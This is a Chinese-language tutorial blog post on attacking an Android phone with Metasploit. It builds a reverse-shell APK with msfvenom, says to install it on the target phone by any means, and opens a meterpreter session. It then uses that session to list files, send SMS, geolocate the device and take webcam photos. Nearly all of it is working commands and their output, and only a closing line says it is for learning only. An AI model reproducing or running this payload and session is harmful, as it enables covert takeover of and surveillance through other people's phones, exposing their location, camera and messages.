使用Metasploit对Andorid系统渗透测试提权——定位拍照发短信

---

前言

使用metasploit对安卓系统渗透测试提权

---

一、生成攻击载荷

┌──(root💀kali)-[~]
└─# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.113 lport=6666 R> pay2.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10187 bytes

将生成的攻击载荷文件安装到目标手机内（无论用任何方法）

二、加载主控端handler

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.113:6666 
[*] Sending stage (77002 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.113:6666 -> 192.168.1.105:41207) at 2021-05-13 13:06:59 +0800

meterpreter > ls
Listing: /data/user/0/com.metasploit.stage/files
================================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40776/rwxrwxrw-  4096  dir   2021-05-13 13:07:01 +0800  oat

meterpreter > ifconfig

Interface  1
============
Name         : dummy0 - dummy0
Hardware MAC : ea:f1:0a:6f:b6:33
MTU          : 1500
IPv6 Address : fe80::e8f1:aff:fe6f:b638
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  2
============
Name         : r_rmnet_data2 - r_rmnet_data2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  3
============
Name         : r_rmnet_data3 - r_rmnet_data3
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  4
============
Name         : r_rmnet_data0 - r_rmnet_data0
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  5
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
....
meterpreter > 

成功获取目标手机meterpreter权限，可以进一步的监视手机使用情况，这里介绍以下几个：

meterpreter > help

①检查是否root

meterpreter > check_root
[*] Device is not rooted

②向任意号码发送短信（测试机无手机卡）

meterpreter > send_sms -d 18211111111 -t "hello"
[-] Error running command send_sms: Rex::TimeoutError Operation timed out.

③查看手机信息

meterpreter > sysinfo
Computer    : localhost
OS          : Android 9 - Linux 4.4.153-perf-ged862bb (aarch64)
Meterpreter : dalvik/android
meterpreter > 

④手机定位

meterpreter > wlan_geolocate

⑤拍摄照片

meterpreter > webcam_snap

---

总结

本文简单介绍了使用metasploit对安卓手机渗透测试提权，仅供学习